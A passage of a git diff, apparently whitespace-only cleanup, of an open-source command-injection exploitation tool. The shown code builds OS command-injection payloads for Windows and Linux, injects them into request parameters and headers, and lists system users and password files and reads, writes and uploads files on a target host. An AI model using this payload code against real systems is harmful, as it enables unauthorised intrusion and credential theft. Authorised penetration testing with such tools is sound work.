parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined extra headers. headers.do_check(request) @@ -68,7 +68,7 @@ def injection_test(payload, http_request_method, url): # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -76,14 +76,14 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) - + # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) @@ -158,14 +158,14 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution(separator, TAG, cmd) - + # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) @@ -199,19 +199,19 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: - + # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) - + # Check if defined extra headers. - headers.do_check(request) + headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) - + else : # Check if defined method is POST. parameter = menu.options.data @@ -219,7 +219,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -227,17 +227,17 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) - + return response # Do the injection check @@ -274,7 +274,7 @@ def injection_results(response, TAG, cmd): if end_line in html_data: html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) break - + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) if not shell: shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) @@ -289,7 +289,7 @@ def injection_results(response, TAG, cmd): except UnicodeDecodeError: pass if settings.TARGET_OS == settings.OS.WINDOWS: - if menu.options.alter_shell: + if menu.options.alter_shell: shell = [right_space.rstrip() for right_space in shell] shell = [left_space.lstrip() for left_space in shell] if "<<<<" in shell[0]: @@ -297,11 +297,11 @@ def injection_results(response, TAG, cmd): else: if shell[0] == "%i" : false_result = True - + except AttributeError: false_result = True if false_result: shell = "" - + return shell diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index a5e86d6bf3..5183a0f682 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -31,15 +31,15 @@ def decision(separator, TAG, randv1, randv2): ) else: payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p = " + TAG + "%i" + TAG + TAG + settings.CMD_NUL - ) + ) else: if not settings.WAF_ENABLED: if settings.USE_BACKTICKS: math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: + else: math_calc = "$((" + str(randv1) + "%2B" + str(randv2) + "))" else: if settings.USE_BACKTICKS: @@ -52,25 +52,25 @@ def decision(separator, TAG, randv1, randv2): payload = (separator + "echo " + TAG + TAG + "" + TAG + "" - ) - else: + ) + else: payload = (separator + "echo " + TAG + "$(echo " + TAG + ")" + TAG + "" - ) + ) else: if settings.USE_BACKTICKS: payload = (separator + "echo " + TAG + - math_calc + + math_calc + TAG + "" + TAG + "" - ) - else: + ) + else: payload = (separator + "echo " + TAG + - math_calc + + math_calc + "$(echo " + TAG + ")" + TAG + "" - ) + ) return payload """ @@ -78,13 +78,13 @@ def decision(separator, TAG, randv1, randv2): """ def decision_alter_shell(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: - if settings.SKIP_CALC: + if settings.SKIP_CALC: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" else: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\"" - + payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p=%i " + settings.CMD_NUL ) @@ -92,14 +92,14 @@ def decision_alter_shell(separator, TAG, randv1, randv2): if settings.SKIP_CALC: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + - TAG + + TAG + TAG + "')\"" ) else: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + - "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + - TAG + "'%2B'" + + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + + TAG + "'%2B'" + TAG + "')\"" ) return payload @@ -114,12 +114,12 @@ def cmd_execution(separator, TAG, cmd): ) else: payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_SUPPLIED_CMD = cmd if settings.USE_BACKTICKS: cmd_exec = "`" + cmd + "`" payload = (separator + @@ -149,18 +149,18 @@ def cmd_execution_alter_shell(separator, TAG, cmd): ) else: payload = (separator + - "for /f \"tokens=*\" %i in ('" + + "for /f \"tokens=*\" %i in ('" + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + "') do @set /p=%i " + settings.CMD_NUL ) - + else: if settings.USE_BACKTICKS: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + TAG + "'%2B'" + TAG + "')\"" ) - else: + else: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + TAG + "'%2B'" + TAG + "')\"" ) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index f7a8783895..49632df412 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -31,7 +31,7 @@ """ Powershell's version number enumeration (for Windows OS) """ -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False cmd = settings.PS_VERSION if alter_shell: @@ -59,7 +59,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME + settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -79,10 +79,10 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur Retrieve system information """ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False + _ = False if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS + cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -131,7 +131,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_os_info(target_os, target_arch, filename, _) - + """ The current user enumeration """ @@ -143,8 +143,8 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) + else: + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -167,9 +167,9 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN if not alter_shell: - cmd = cmd = checks.quoted_cmd(cmd) - else: - cmd = settings.IS_ROOT + cmd = cmd = checks.quoted_cmd(cmd) + else: + cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -187,15 +187,15 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re """ System users enumeration """ -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - cmd = settings.EVAL_SYS_USERS + cmd = settings.EVAL_SYS_USERS if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) + else: + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -209,13 +209,13 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - + """ System passwords enumeration """ -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_PASSES +def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False + cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -248,7 +248,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -268,7 +268,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur checks.print_enumenation().hostname_msg() hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True - + if menu.options.current_user: checks.print_enumenation().current_user_msg() current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 3c21330cf4..94f3172ba5 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -39,10 +39,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) else: cmd = checks.write_content(content, dest_to_write) @@ -54,7 +54,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) checks.file_write_status(shell, dest_to_write) - + """ Upload a file on the target host. """ @@ -73,7 +73,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, Read a file from the target host. """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, file_to_read = checks.file_content_to_read() + cmd, file_to_read = checks.file_content_to_read() if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if settings.URL_RELOAD: @@ -103,6 +103,6 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur if menu.options.file_read: file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 6ba8ca1abf..a643dd84a1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -61,7 +61,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - + i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) @@ -70,7 +70,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) + whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False @@ -91,7 +91,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - + if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator @@ -129,7 +129,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) @@ -139,7 +139,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - print(settings.print_payload(payload)) + print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -188,7 +188,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if shell == False: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": @@ -202,13 +202,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - + except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) raise - + except EOFError: if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) @@ -218,8 +218,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ except: continue - - # Yaw, got shellz! + + # Yaw, got shellz! # Do some magic tricks! if shell: found = True @@ -227,32 +227,32 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.HOST_INJECTION == True: + elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" - else: + else: header_name = "" the_type = " parameter" if not settings.USER_DEFINED_POST_DATA: @@ -268,7 +268,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -288,8 +288,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - + settings.LOAD_SESSION = False + # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : @@ -312,7 +312,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: if menu.enumeration_options(): eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: @@ -323,7 +323,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ menu.options.ignore_session = True eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() @@ -368,7 +368,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: # The main command injection exploitation. time.sleep(timesec) @@ -399,25 +399,25 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ break else: if no_result == True: - return False + return False else: - return True + return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(gotshell) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): raise - + except EOFError: if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) - raise - + raise + if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) @@ -425,7 +425,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else : sys.stdout.write("\r") sys.stdout.flush() - + """ The exploitation function. (call the injection handler) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 44692eb945..df84ed33c5 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -44,15 +44,15 @@ def injection_test(payload, http_request_method, url): if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - + # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined extra headers. headers.do_check(request) - + # Get the response of the request response = requests.get_request_response(request) @@ -63,7 +63,7 @@ def injection_test(payload, http_request_method, url): # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -71,17 +71,17 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) - + # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - + # Get the response of the request response = requests.get_request_response(request) @@ -189,17 +189,17 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) - + # Check if defined extra headers. - headers.do_check(request) + headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) - + else : # Check if defined method is POST. parameter = menu.options.data @@ -207,7 +207,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -215,11 +215,11 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) @@ -246,7 +246,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques Command execution results. """ def injection_results(response, TAG, cmd): - new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Grab execution results html_data = checks.page_encoding(response, action="decode") html_data = re.sub("\n", new_line, html_data) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 749a4b3125..7765c310ca 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -25,7 +25,7 @@ """ def decision(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: - if settings.SKIP_CALC: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -40,8 +40,8 @@ def decision(separator, TAG, randv1, randv2): else: if separator == "": payload = ("print(`echo " + TAG + "`." + - "`for /f \"tokens=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "`for /f \"tokens=*\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p = %i " + settings.CMD_NUL + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" + @@ -49,15 +49,15 @@ def decision(separator, TAG, randv1, randv2): ) else: payload = ("print(`echo " + TAG + - separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p = %i " + settings.CMD_NUL + + separator + "for /f 